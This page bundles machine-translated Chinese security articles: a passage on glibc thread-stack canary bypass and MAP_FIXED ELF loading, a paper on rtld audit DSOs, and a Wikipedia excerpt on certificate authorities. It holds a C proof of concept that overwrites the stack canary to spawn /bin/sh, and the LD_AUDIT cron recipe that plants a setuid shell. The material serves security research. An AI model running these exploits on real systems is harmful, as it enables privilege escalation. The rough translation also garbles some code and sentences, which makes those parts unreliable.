thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;

} tcbhead_t;

这种类型包含字段Stack_看板,它包含一个所谓的canary——一个随机或伪随机的数字,用于保护应用程序免受栈溢出[11]的影响。
这种保护的工作方式如下:当输入一个函数时,从tcbhead_t.stack_guard 获得的一个canary被放置在栈上。在函数的末尾,将栈值与tcbhead_t.stack_guard中的引用值进行比较。如果两个值不匹配,应用程序将返回错误并终止。

可以通过几种方式绕过canary:

-如果攻击者不需要覆盖此值[12]。
-如果攻击者设法读取或预期该值,则有可能执行成功的攻击[12]。
-如果攻击者能够用已知值覆盖此值,则可能导致栈溢出[12]。
-攻击者可以在应用程序终止[13]之前进行控制。
-列出的旁路突出了保护TLS不被攻击者读取或覆盖的重要性。

我们的研究表明,glibc对于使用pthread_create创建的线程来说,在TLS实现中存在一个问题。假设需要为新线程选择TLS。为堆栈分配内存后,glibc。
在此内存的上层地址初始化TLS。在这里考虑的x86-64体系结构上,堆栈向下增长,将TLS放在堆栈的顶部。
从TLS中减去某个常量值,得到一个新线程用于栈寄存器的值。从TLS到参数传递给pthread_create的函数的栈帧的距离小于一页。

现在,一个可能的攻击者不需要猜测或窃取canary-攻击者只需将引用值与栈值一起覆盖,就可以完全绕过保护。在Intel ME[14]中也发现了类似的问题。

以下是概念的证明:

void pwn_payload() {
char *argv[2] = {”/bin/sh”, 0};
execve(argv[0], argv, 0);
}

int fixup = 0;
void * first(void *x)
{
unsigned long *addr;
arch_prctl(ARCH_GET_FS, &addr);
printf(”thread FS %pn”, addr);
printf(”cookie thread: 0x%lxn”, addr[5]);
unsigned long * frame = __builtin_frame_address(0);
printf(”stack_cookie addr %p n”, &frame[-1]);
printf(”diff : %lxn”, (char*)addr - (char*)&frame[-1]);
unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) +
fixup;
// example of exploitation
// prepare exploit
void *exploit = malloc(len);
memset(exploit, 0×41, len);
void *ptr = &pwn_payload;
memcpy((char*)exploit + 16, &ptr, 8);
// exact stack-buffer overflow example
memcpy(&frame[-1], exploit, len);
return 0;
}

int main(int argc, char **argv, char **envp)
{
pthread_t one;
unsigned long *addr;
void *val;
arch_prctl(ARCH_GET_FS, &addr);
if (argc > 1)
fixup = 0×30;
printf(”main FS %pn”, addr);
printf(”cookie main: 0x%lxn”, addr[5]);
pthread_create(&one, NULL, &first, 0);
pthread_join(one,&val);
return 0;
}

运行它:

blackzert@…sher:~/aslur/tests$ ./thread_stack_tls 1
main FS 0×7f4d94b75700
cookie main: 0×2ad951d602d94100
thread FS 0×7f4d94385700
cookie thread: 0×2ad951d602d94100
stack_cookie addr 0×7f4d94384f48
diff : 7b8
$ ^D
blackzert@…sher:~/aslur/tests$

`Diff`这里是当前堆栈帧和TCB结构之间以字节为单位的大小。
这个等于0×7b8字节,少了一页。
缓冲区溢出可以绕过缓冲区溢出的保护。

=====================================================
ii.6.malloc和mmap。
=====================================================

在使用malloc时,如果请求的内存的大小大于某个值,则glibc有时会使用mmap来分配新的内存区域。在这种情况下,内存将在mmap的帮助下分配,因此,在内存分配之后,地址将接近使用mmap分配的库或其他数据。
攻击者密切关注堆对象处理中的错误,例如堆溢出、释放后使用[15]和类型混淆[5]。

当程序使用pthread_create时,会发现glibc库有一个有趣的行为。在第一次从用pthread_create创建的线程调用malloc时,glibc将调用mmap为这个堆栈创建一个新堆。因此,在这个线程中,通过malloc调用的所有地址都将位于同一个线程的堆栈附近。

一些程序和库使用mmap将文件映射到进程的地址空间。例如,这些文件可用作高速缓存或用于快速保存(改变)驱动器上的数据。

下面是一个抽象的示例:应用程序在mmap的帮助下加载MP3文件。让我们调用加载地址mmap_mp3。然后,应用程序从加载的数据读取到音频数据开始的偏移量。如果应用程序在其例行程序中包含验证该值长度的错误,则攻击者可以专门创建一个MP3文件,该文件能够访问mmap_mp3之后的内存区域。

Some PoC code:

int main(int argc, char **argv, char **envp)
{
int res;
system(”"); // call to make lazy linking
execv(”", NULL); // call to make lazy linking
unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON |
MAP_PRIVATE, -1, 0);
if (addr == MAP_FAILED)
return -1;
unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, “system”);
unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, “execv”);
printf(”addr %lx system %lx execv %lxn”, addr, addr_system, addr_execv);
printf(”system - addr %lx execv - addr %lxn”, addr_system - addr,
addr_execv - addr);
return 0;
}

And results:
blackzert@…sher:~/aslur/tests$ ./mmap_libc
addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860
system - addr 8045390 execv - addr 80cc860

这显示了从mmap段到链接库数据的常量偏移(malloc也是这样)。

=====================================================
ii.7. MAP_FIXED的情况下ET_DYN ELF文件的加载。
=====================================================

mmap手册中关于MAP_FIXED式标志的说明如下:

MAP_FIXED

不要将addr解释为hint:一定要将映射放置在准确的地址。
addr必须是页大小的倍数。如果addr和len指定的内存区域与任何现有映射的页面重叠,则现有映射的重叠部分将被丢弃。如果无法使用指定的地址,mmap()将失败。由于映射需要固定地址的可移植性较低,因此不鼓励使用此选项。

如果带有MAP_FIXED标志的请求区域与现有区域重叠,则成功执行mmap将覆盖现有区域。

因此,如果程序员错误地使用MAP_FIXED,则可能会重新定义现有的内存区域。

在Linux内核和glibc中都发现了这样一个错误的有趣示例。
如[16]所述,ELF文件必须符合以下要求:在Phdr头中,ELF文件段必须按vaddr地址的升序排列:

PT_LOAD。

数组元素指定一个可加载的段,由p_filesz、p_memsz描述。文件中的字节映射到内存段的开头。
如果段的内存大小(p_memsz)大于文件大小(p_filesz),则定义“额外”字节来保存值0并跟踪段的初始化区域。文件大小不能大于内存大小。
程序头表中的可加载段条目按升序显示,在p_vaddr成员上排序。

但是,这一要求没有被检查。ELF文件加载的(作者写作时)最新代码如下:

case PT_LOAD:
struct loadcmd *c = &loadcmds[nloadcmds++];
c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize));
c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize));

maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart;

for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c)
...
/* Map the segment contents from the file. */
if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart),
maplen, c->prot,
MAP_FIXED|MAP_COPY|MAP_FILE,
fd, c->mapoff)

所有段都按照以下算法处理:

1.计算加载的ELF文件的大小:最后一个段结束的地址减去第一个段的开始地址。
2.在mmap的帮助下,为这个大小的整个ELF文件分配内存,从而获得ELF文件加载的基本地址。
3.对于glibc,更改访问权限。如果从内核加载,释放造成漏洞的区域。这里,glibc和Linux内核的行为不同,如第4.4节所述。
4.借助mmap和MMAP_FIXED标志,通过使用通过隔离第一段获得的地址和添加从ELF文件头获得的偏移量来分配剩余段的内存。

这使入侵者能够创建一个恶意ELF文件,其中一个段可以完全覆盖现有的内存区域,例如线程的栈、堆或库代码。

易受攻击的应用程序的一个例子是LDD工具,该工具用于检查系统中是否存在所需的库:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
linux-vdso.so.1 => (0×00007ffc48545000)
libevil.so => ./libevil.so (0×00007fbfaf53a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0×00007fbfaf14d000)
/lib64/ld-linux-x86-64.so.2 (0×000055dda45e6000)

该工具使用ld解释器。利用刚才讨论的ELF文件加载问题,我们成功地使用LDD执行了任意代码:

blackzert@…sher:~/aslur/tests/evil_elf$ ldd ./main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
blackzert@…sher:~/aslur/tests/evil_elf$

在之前的Linux社区中也提出过MAP_FIXED的问题[17]。

by blast

The Audit DSOs of the RTLD



https://www.exploit-db.com/papers/29147/
机器翻译,简单人工润色。在paper中英文大量缺少动词和补充语,机器翻译可能存在不通的地方。

The Audit DSOs of the rtld

x90c

[toc]

—-[ 1. Intro

—-[ 2. The Audit DSOs

——–[ 2.1 The Audit DSO Internal

————[ 2.1.1 The structs of Audit Lists and Interfaces

————[ 2.1.2 Load an audit DSO

————[ 2.1.3 Do Lookup The Interfaces

————[ 2.1.4 Open The Object

——–[ 2.2 audit_dso_example.c: Writing a audit DSO

——–[ 2.3 The vulnerability

—-[ 3. Conclusion

—-[ 4. References

—-[ 5. Greets

-[1]介绍
文章阐述了RTLD的审计DSO的设置和编写DSO的过程,最后分析了审计DSO存在的漏洞。

-[2] 审计DSO

-[2.1 审计DSO的细节

运行进程后由rtld加载的审核DSO(换句话说,它影响了用户领空中的所有进程)。并将审核DSOS模块路径传递到$LD_AUDIT环境。例如:
export $LD_AUDIT=libpcrfilile.so。

首先,看看加载审计DSO的过程。
审核DSO加载过程:

(1)调用函数打开审计DSO。
(2)查找“la_version”符号并调用它。
(3)使用审计接口名查找符号并调用它。
(4)如果接口已绑定,则将 main_map(linkmap object)&dl_rtld_map(linkmap object)->l_audit[cnt].bindflags 的最后bit设置为1。
(5)用.debug动态段设置RTLD调试器。
(6)以LA_ACT_ADD为常数,调用“la_activity”符号函数来打印添加审计接口对象的消息。

*(5),(6)是具有审计DSO的la_activity接口的rtld调试器。

-[2.1.1 审计清单和接口的结构。

审计DSO有两个结构来加载rtld上的安全模块。第一个结构用于审计列表和下一个结构为审计接口。
审计列表结构像共享对象一样维护加载的安全模块,代码在rtld.c的全局变量中定义, rtld源代码中审计接口结构维护每个DSO的接口虚拟函数指针。
audit_list结构将会加载审计DSO名称,作为下一个模块的*name和*next指针的成员变量,它是一个单链表队列。

    *audit_list
    .-----------.    .----------.    .----------.
    |  old_newp |    | old_newp |    |  newp    |
    | - *name   |    |  *name   |    |  *name   |
    | - *next   |--->|  *next   |--->|  *next   |---+
    '-----------'    '----------'    '----------'   |  
       (first)                            ^         |
                                          |         |
                                          +---------+
                                       (The Last Entry) 

*audit_list 指针指向第一个加载的DSO的条目和最后加载的模块的最后条目。
让我们看一下结构:

elf/rtld.c中的audit_list结构:

    /* List of auditing DSOs.  */
    static struct audit_list
    {
        const char *name;
    struct audit_list *next;
    } *audit_list;

elf/rtld.c中的process_dl_audit()函数向队列中添加了一个条目。

继续看,审计接口的结构如下:

    *audit_ifaces (Interfaces)
    .---------------.   .----------. 
    |  old          |   |   new    |
    | - (*activity) |   |          |
    | - (*objsearch)|   |    ...   | ... n
    | - (*objopen)  |   |          | GL(dl_naudit)=n
    |      ...      |   |          |
    |      ...      |   |          |
    | - *next       |-->|  *next   |
    '---------------'   '----------'   

接口是共享对象上的符号,符号的函数指针由rtld加载到 *audit_ifaces 结构上。该结构也是与*audit_list相同的队列,并且这些接口将由rtld调用以加载和操作审核DSO。
每个*audit_ifaces条目都有*audit_list entry条目,即使这些结构没有为每个条目相互链接。

审计接口的计数存储在rtld的全局变量GL(Dl_Naudit)上。

审计接口查找并调用的步骤如下:
(1)查找la_objopen符号。
(2)通过调用audit_ifaces->objopen()函数指针调用符号。

然后,是审计接口:

- la_activity     DSO Activity Monitor
- la_objsearch    Object Search
- la_objopen      Object Open
- la_preinit      Pre Initialization
- la_symbind32 /
  la_symbind64    Symbol Binding
- la_objclose     Object Close

-[2.1.2加载审计DSO。
审计DSO的操作在rtld的主函数dl_main()中进行。rtld调用rtld.c中的dlmopen_doit()来加载审核DSO。
dlmopen_doit()调用_dl_open(),使用审计DSO路径作为第一个参数,将_RTLD_AUDIT标志添加到第二个参数中,就像加载共享对象一样。

The dlmopen_doit() In elf/rtld.c:

...

static void
dlmopen_doit (void *a)
{
    struct dlmopen_args *args = (struct dlmopen_args *) a;

    // If dynamic linked, the return value is 0.
    args->map = _dl_open (args->fname, RTLD_LAZY | __RTLD_DLOPEN |
                          __RTLD_AUDIT,
              dl_main, LM_ID_NEWLM, _dl_argc, INTUSE(_dl_argv),
              __environ);
}

如果存在AUDIT_LIST变量,则进入load程序,并为参数准备了dlmopen_args结构,调用dlmopen_doit()来加载DSO。

The code of dl_main In elf/rtld.c:

static void
dl_main (const ElfW(Phdr) *phdr,
     ElfW(Word) phnum,
     ElfW(Addr) *user_entry)
{

    ...

    /* If we have auditing DSOs to load, do it now.  */
    if (__builtin_expect (audit_list != NULL, 0))
    {
    /* 
     * Iterate over all entries in the list. The order is important.
     */
        struct audit_ifaces *last_audit = NULL;
        /* audit_list struct */
        struct audit_list *al = audit_list->next; 

        do
        {

            ...

        struct dlmopen_args dlmargs;
        /* Set DSO path for the argument. */
        dlmargs.fname = al->name;
        /* Set the map member variable as NULL. */
        dlmargs.map = NULL; 

        const char *objname;
        const char *err_str = NULL;
        bool malloced;

        /*
         * call dlmopen_doit() to load an audit dso!
         */
        (void) _dl_catch_error (&objname, &err_str, &malloced, 
                                dlmopen_doit, &dlmargs);

现在,_dl_open()加载从$LD_AUDIT环境传递的审计DSO。DSO的信息加载到link_map对象的某个地方。

-[2.1.3查找接口。
在加载审计DSO之后,下一步是查找模块的接口。lookup_doit()执行了接口查找的操作。
首先,从ELF对象中查找la_version符号,该进程通过使用查找函数在用户程序领空中运行。然后,检查接口版本的接口是否匹配。

The lookup_doit() In elf/rtld.c:

static void lookup_doit (void *a)
{
    struct lookup_args *args = (struct lookup_args *) a;
    const ElfW(Sym) *ref = NULL;
    args->result = NULL;
    lookup_t l = _dl_lookup_symbol_x (args->name, args->map, &ref,
                      args->map->l_local_scope, NULL, 0,
                      DL_LOOKUP_RETURN_NEWEST, NULL);

    /* Symbol lookup success?  */
    /* store the symbol object */
    /* on args->result.        */
    if (ref != NULL) 
        args->result = DL_SYMBOL_ADDRESS (l, ref); 
}

查找la_version符号,这是一个接口!查找_args结构的->name成员变量可以得到查找接口名称。->map会得到NULL。
函数的第四个参数是lookup_doit(),第五个参数是&lookup_args。_dl_catch_error()将调用lookup_doit(),参数为&lookup_args。

The lookup_doit() In elf/rtld.c:

    struct lookup_args largs;    /* argument struct.         */
    largs.name = "la_version";   /* to lookup Interface name */
    largs.map = dlmargs.map;     /* largs.map = NULL         */
 
    /*
        argument = largs.name("la_version").
        result = largs.result.
    */
    /* Check whether the interface version matches. */
    (void) _dl_catch_error (&objname, &err_str, &malloced, 
                            lookup_doit, &largs);

在查找完la_version接口之后,将查找的largs.result的地址存储到laversion函数指针,并调用它来检查接口版本是否匹配。
如果匹配,也在下面的块查找其他接口。


The lookup_doit() In elf/rtld.c:

    unsigned int (*laversion) (unsigned int);
    unsigned int lav;

    if  (err_str == NULL &&                 
        (laversion = largs.result) != NULL &&
    (lav = laversion (LAV_CURRENT)) > 0 && lav <= LAV_CURRENT)
    {

接下来,查找其他接口。
在代码中声明的*newp union 与接口的audit_ifaces结构、回调函数指针的成员,会在下面的代码中查找6个接口,以处理一个链表,该链表的 *next 指针为*audit_list。
la_objearch的接口搜索ELF对象上的符号,la_symbind32或la_symbind64接口绑定来自ELF对象的符号。
所有审计接口都作为elf/tst-auditmod1.c的测试代码嵌入到审计DSO的源代码中。请参见测试代码。la_symbind32 / la_symbind64返回要绑定的符号的相对地址。


The codes In elf/tst-auditmod1.c:

...

uintptr_t
la_symbind32 (Elf32_Sym *sym, unsigned int ndx, uintptr_t *refcook,
   uintptr_t *defcook, unsigned int *flags, const char *symname)
{
    printf ("symbind32: symname=%s, st_value=%#lx, ndx=%u, flags=
             %un",
             symname, (long int) sym->st_value, ndx, *flags);

    return sym->st_value;
}

uintptr_t
la_symbind64 (Elf64_Sym *sym, unsigned int ndx, uintptr_t *refcook,
   uintptr_t *defcook, unsigned int *flags, const char *symname)
{
    printf ("symbind64: symname=%s, st_value=%#lx, ndx=%u, flags=
            %un",
            symname, (long int) sym->st_value, ndx, *flags);

    return sym->st_value;
}

...

See the lookup the other Interfaces!

The lookup_doit() In elf/rtld.c:

----snip----snip----snip----snip----snip----snip----snip----snip----

    /* Allocate structure for the callback function pointers.
       This call can never fail.  */
    union
    {
        struct audit_ifaces ifaces;
#define naudit_ifaces 8

    void (*fptr[naudit_ifaces]) (void); /* void (*fptr[8])(void); */

    } *newp = malloc (sizeof (*newp)); 

    /* Names of the auditing interfaces.  All in one long string. */
       static const char audit_iface_names[] =
    "la_activity"
    "la_objsearch"
    "la_objopen"
    "la_preinit"
#if __ELF_NATIVE_CLASS == 32
    "la_symbind32"
#elif __ELF_NATIVE_CLASS == 64
    "la_symbind64"
#else
# error "__ELF_NATIVE_CLASS must be defined"
#endif
#define STRING(s) __STRING (s)
    "la_" STRING (ARCH_LA_PLTENTER) ""
    "la_" STRING (ARCH_LA_PLTEXIT) ""
    "la_objclose";
    unsigned int cnt = 0;
    const char *cp = audit_iface_names;

    do
    {
        largs.name = cp;

    (void) _dl_catch_error (&objname, &err_str, &malloced, 
                            lookup_doit, &largs);

    /* Store the pointer.  */
    if (err_str == NULL && largs.result != NULL)
    {
        newp->fptr[cnt] = largs.result;

        /* The dynamic linker link map is statically allocated
           initialize the data now.   */
        GL(dl_rtld_map).l_audit[cnt].cookie =
                        (intptr_t) &GL(dl_rtld_map);
    }
    else
        newp->fptr[cnt] = NULL;
        ++cnt;

            cp = (char *) rawmemchr (cp, '') + 1;
    }
    while (*cp != '');
        
    assert (cnt == naudit_ifaces);  

    /* Now append the new auditing interface to the list. */
    newp->ifaces.next = NULL;

        if (last_audit == NULL)
        last_audit = GLRO(dl_audit) = &newp->ifaces;
    else
        last_audit = last_audit->next = &newp->ifaces;
        ++GLRO(dl_naudit);

    /* Mark the DSO as being used for auditing.  */
    dlmargs.map->l_auditing = 1;
    }
        else
    {
        /* We cannot use the DSO, it does not have the
           appropriate interfaces or it expects something
           more recent.  */
#ifndef NDEBUG
    Lmid_t ns = dlmargs.map->l_ns;
#endif
    _dl_close (dlmargs.map);

    /* Make sure the namespace has been cleared entirely.  */
    assert (GL(dl_ns)[ns]._ns_loaded == NULL);
    assert (GL(dl_ns)[ns]._ns_nloaded == 0);

#ifdef USE_TLS
    GL(dl_tls_max_dtv_idx) = tls_idx;
#endif
    goto not_loaded;
    }
     }

     al = al->next;
  }
  while (al != audit_list->next);

审计DSO标记为1,就像使用dlmargs.map的->l_audit成员变量一样,它是在打开DSO的代码中声明的。
dlmargs的.map成员变量在为审核DSO调用dlmopen_doit()之后获取分配的linkmap对象的指针。
换句话说,->l_auditing变量审计DSO的链接映射对象被标记为1,而不是进程的link_map对象。

-[2.1.4-打开对象

最后,为将要被审计DSO的作者实现的DSO的la_OPEN函数打开*afct 的对象,如在elf/tst-auditmod1.c中可以看到的那样。
la_open只是打印一条打开这个对象的消息。对于每个审计DSO,rtld调用la_open 函数。

    /* If we have any auditing modules, announce that we already
       have two objects loaded.  */
    if (__builtin_expect (GLRO(dl_naudit) > 0, 0))
    {
    struct link_map *ls[2] = { main_map, &GL(dl_rtld_map) };

    for (unsigned int outer = 0; outer < 2; ++outer)
    {
        struct audit_ifaces *afct = GLRO(dl_audit);

        for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
        {
                if (afct->objopen != NULL)
        {
            ls[outer]->l_audit[cnt].bindflags =
                afct->objopen (ls[outer], LM_ID_BASE, &ls[outer]->
                               l_audit[cnt].cookie);
 
            ls[outer]->l_audit_any_plt |= ls[outer]->
                       l_audit[cnt].bindflags != 0;
        }

        afct = afct->next;  /* move the next audit Interface */
        }
     }
    }

如您所知,审核dso可用于自动分析。
在用户界面中的一个监视器,操作系统体系结构中的库层。

让我们写一个审计DSO!

-[2.2编写审计DSO
我通过审计DSO演示了一个用户态监视器。编译自glibc/adj_dso_example.c的rtld源代码树中。

audit_dso_example.c:
----
#include <dlfcn.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bits/wordsize.h>
#include <gnu/lib-names.h>

unsigned int la_version(unsigned int v){

    return v;
}

unsigned int la_objopen(struct link_map *l, Lmid_t lmid, 
                        unsigned int *cookie){
    FILE *fp;

    fp = fopen("/tmp/audit_dso_example.log", "w+");
    if(fp <= NULL){
        printf("failed to open audit dso examplen");
        fclose(fp);
    }

    /*
     * The link_map Object passed as first argument!
     * link_map struct In elf/link.h.
     *
    */
    fprintf(fp, "-------- audit dso example --------n");
    fprintf(fp, "Executed program name: %sn  ", l->l_name);
    fprintf(fp, "Base Addr of the object: %pn", l->l_addr);
    fprintf(fp, "The addr of .dynamic: nn   ", l->l_ld);
    fprintf(fp, "-----------------------------------n");

    /*
     * Now, Can resolve the ELF sections of the executed
     * program with l->l_ld. do resolve relocation a symbol! [2].
     *
    */

    fclose(fp);

    return 0;
}

void la_preinit(unsigned int *cookie){

     return;
}

void la_objclose(unsigned int *cookie){

    printf("audit_dso_example: an audit DSO closed.");
    return 0;
}

—- [2.3漏洞

taviso的任意审计DSO加载bug [1]显示了审计DSO的安全漏洞:

(1)LD_AUDIT =“libpcprofile.so”PCPROFILE_OUTPUT =“/ etc / cron.d / exploit”
    libpcprofile.so的代码创建一个$ PCPROFILE_ OUTPUT文件。 libpcprofile.so不是一个审计dso,不能加载审计dso作为共享对象加载并且代码共享对象的执行!这是个关于SUID位的安全问题。

(2)执行/bin/ping创建一个/etc/cron.d/exploit世界可写文件。 注意ping SUID位,在即将运行的ping进程之后,rtld加载了审计dso并创建了该文件。

(3)设置一个crontab并等待提升权限。
    printf“* * * * * root cp / bin / dash / tmp / exploit; chmod u + s / tmp / exploit n”> /etc/cron.d/exploit。

可以通过审计DSO加载任意共享对象,并在执行进程后执行审计DSO的代码在userland中如果进程将SUID位设置为/bin/ping。

对安全漏洞的讨论是,通过所有进程的任意共享对象加载在用户态执行时间内。共享对象也可以作为用户进行编译和加载,并且无法使用该特权加载它。

See the call path:
----

    /bin/ping execute! with SUID bit
       |
       +-> rtld: audit DSO load (In the execution time)
         |
         +-> rtld: _dlm_opendoit()
             The shared object load with UID 0.

         ...

----

—- [3.结论

这篇文章涵盖了审计DSO的内部和编写用户区的安全模块,并解释了加载任意DSO的安全性问题。

审计DSO可用于在用户空间中的自动监视器,示例在audit_dso_example.c中存在。 它可以被实现在ELF解析执行时的监视器。

—- [4.参考文献

[1] Taviso, 2010, Taviso’s GNU C library dynamic linker LD_AUDIT.
arbitrary DSO load Vulnerability.
- http://www.exploit-db.com/exploits/15304

[2] x90c, 2012, ELF_linker.c.
- http://www.x90c.org/ELF32_linker.c

—-[ 5. 致谢

Greets to … #phrack of efnet …
… #social of overthewire …

EOF

Saturday, June 9, 2018 by blast

Certificate authority (Wiki)



https://en.wikipedia.org/wiki/Certificate_authority
本文完全机器翻译,未经人工润色。

在密码学中,证书颁发机构或证书颁发机构(CA)是颁发数字证书的实体。数字证书由证书的指定主体证明公钥的所有权。这允许其他人(依赖方)依赖签名或对与经认证的公钥相对应的私钥所做的断言。CA充当受信任的第三方-由证书的主体(所有者)和依赖证书的一方信任。这些证书的格式由X.509标准指定。

证书颁发机构的一个特别常见的用途是对用于万维网的安全浏览协议HTTPS中使用的证书进行签名。另一个常见用途是由各国政府签发身份证,用于电子签字文件。

概述。
可信证书可用于通过Internet创建到服务器的安全连接。证书是必不可少的,这样才能绕过恰好在到达目标服务器的路径上的恶意方,因为目标服务器的行为就好像它是目标。这种情况通常被称为中间人攻击.。在启动安全连接之前,客户端使用CA证书对服务器证书上的CA签名进行身份验证,作为授权的一部分。通常,客户端软件(例如浏览器)包含一组受信任的CA证书。这是有道理的,因为许多用户需要信任他们的客户端软件。恶意的或受损的客户端可以跳过任何安全检查,仍然欺骗其用户相信否则。

CA的客户端是服务器监控器,它们调用其服务器将授予用户的证书。商业CA负责颁发证书,他们的客户期望CA的证书包含在大多数Web浏览器中,以便与认证服务器的安全连接能够开箱即用。信任特定证书颁发机构的Internet浏览器、其他设备和应用程序的数量称为无处不在。Mozilla是一家非营利性企业,它的产品发布了几个商业CA证书。[1]虽然Mozilla制定了自己的策略,但CA/Browser论坛也为CA信任制定了类似的指导方针。单个CA证书可以在多个CA或其转售商之间共享。根CA证书可能是颁发具有不同验证要求的多个中间CA证书的基础。

除了商业CA,一些非营利组织免费向公众发放数字证书;著名的例子是CACERT和Let’s Encrypt。

大型组织或政府机构可能有自己的PKI(公钥基础设施),每个PKI都包含自己的CA。任何使用自签名证书的站点都充当自己的CA。

浏览器和其他类型的客户机的特点是允许用户随意添加或删除CA证书。虽然服务器证书通常持续的时间相对较短,但CA证书会进一步扩展,[2]因此,对于反复访问的服务器来说,导入和信任颁发的CA是不太容易出错的,而不是每次更新服务器证书时都确认安全豁免。

较少情况下,可信任证书用于加密或签名消息。CA还提供最终用户证书,可以与S/MIME一起使用。然而,加密需要接收方的公钥,而且由于加密消息的作者和接收方显然相互了解,受信任的第三方的有用性仍然局限于对发送到公共邮件列表的消息进行签名验证。

提供者。
在世界范围内,证书颁发机构的业务是零散的,由国家或区域供应商主导其国内市场。这是因为数字证书的许多用途,例如具有法律约束力的数字签名,都与当地法律、法规和证书颁发机构的认证计划相联系。

然而,全球可信任的TLS/SSL服务器证书市场主要由少数跨国公司持有。由于技术要求,这一市场有很大的进入障碍。[3]虽然没有法律要求,但新的供应商可选择每年进行安全审计(例如北美证书颁发机构的WebTrust[4]和欧洲的ETSI[5]),以作为受信任的根列入网络浏览器或操作系统。Mozilla Firefox Web浏览器中有180多个根证书,代表了大约80个组织。[6]OSX信任200多个根证书。截至Android4.2(JellyBean),Android目前包含100多个CA,每个版本都会更新这些CA。

在2014年11月18日,包括电子前沿基金会、Mozilla、思科和Akamai在内的一些公司和非营利组织宣布,让我们加密吧,这是一个非营利认证机构,它提供免费的域验证X.509证书和软件,以便安装和维护证书。[8]让我们加密是由新成立的互联网安全研究小组(Internet Security Research Group)运营的,这是加州的一个非营利组织,根据第501(C)(3)条被认定为免税的。

根据监控活跃tls证书的行业标准netcraft 2015所述,“尽管全球(Tls)生态系统具有竞争力,但它由少数几个主要cas主导–三个证书颁发机构(赛门铁克(Symantec)、科莫多(Comodo)、高爸爸(Godp))占所有在面向公众的web服务器上颁发的证书总数的四分之三。自[我们]调查开始以来,赛门铁克(或赛门铁克收购它之前)一直占据榜首,目前它只占所有证书的不到三分之一。为了说明不同方法的影响,在百万个最繁忙的站点中,赛门铁克颁发了44%的有效、可信的证书–大大高于其整体市场份额。“[10]

验证标准。
为HTTPS服务器颁发大量证书的商业CA通常使用一种称为“域验证”的技术对证书的接收者进行身份验证。用于域验证的技术因CA而异,但在一般情况下,域验证技术旨在证明证书申请者控制给定的域名,而不是关于申请者身份的任何信息。

许多证书颁发机构还提供扩展验证(EV)证书,作为域验证证书的一种更严格的替代方法。扩展验证不仅用于验证对域名的控制,而且用于验证证书中包含的其他标识信息。有些浏览器在地址栏中的绿色框中显示此附加标识信息。EV作为域验证弱点的解决方案的一个限制是,攻击者仍然可以获得受害者域的域验证证书,并在攻击期间部署该证书;如果发生这种情况,受害者用户可以观察到的区别是没有带有公司名称的绿色条。至于用户是否会意识到这种缺失是否意味着攻击正在进行,存在一些问题:在2009使用InternetExplorer 7进行的测试显示,用户没有注意到IE7的EV警告,但是微软目前的浏览器边缘(Edge)显示,EV和域验证证书之间的差别要大得多,域验证证书有一个空心的灰色锁。

验证弱点。
域验证受到某些结构安全限制。特别是,它总是容易受到允许对手观察CA发送的域验证探测的攻击。这些攻击可能包括对DNS、TCP或BGP协议的攻击(这些协议缺乏TLS/SSL的加密保护),或路由器的危害。这种攻击可能发生在CA附近的网络上,也可能发生在受害者域本身附近。

最常见的域验证技术之一是发送包含身份验证令牌或链接的电子邮件,该电子邮件地址可能在管理上负责该域。这可能是域名WHOIS条目中列出的技术联系人电子邮件地址,也可能是管理员@、管理员@、网站管理员@、主机主@或邮政主管@该域之类的管理电子邮件。[14][15]一些证书颁发机构可能会接受使用root@、[引文所需]info@或域内支持@的确认。[16]域验证背后的理论是,只有域的合法所有者才能读取发送到这些管理地址的电子邮件。

域验证实现有时是安全漏洞的来源。在一个例子中,安全研究人员表明,攻击者可以获得Web邮件站点的证书,因为CA愿意使用诸如ssladmin@domain.com之类的电子邮件地址来访问domain.com,但并非所有的Webmail系统都保留了“ssladmin”用户名,以防止攻击者注册它。

在2011之前,没有可用于域验证的标准电子邮件地址列表,因此电子邮件管理员不清楚哪些地址需要保留。第一个版本的CA/浏览器论坛基线要求,通过了11月2011,指定了一个名单这样的地址。这允许邮件主机保留这些地址以供管理使用,尽管此类预防措施尚未普及。在2015,一名芬兰男子在微软Live.fi的芬兰版上注册了用户名“主机”,并获得了一个经过域名验证的live.fi证书,尽管他并不是该域名的所有者。

签发证书。

CA颁发包含公钥和所有者身份的数字证书。匹配的私钥不是公开可用的,而是由生成密钥对的最终用户保密。证书也是CA确认或确认证书中包含的公钥属于证书中所述人员、组织、服务器或其他实体的证书。CA在此类方案中的义务是验证申请者的凭据,以便用户和依赖方可以信任CA证书中的信息。CA使用各种标准和测试来实现这一点。本质上,证书颁发机构负责说“是的,这个人就是他们所说的那个人,我们CA证明了这一点”。

如果用户信任CA并能够验证CA的签名,那么他们还可以假定某个公钥确实属于证书中标识的任何人。

例子。
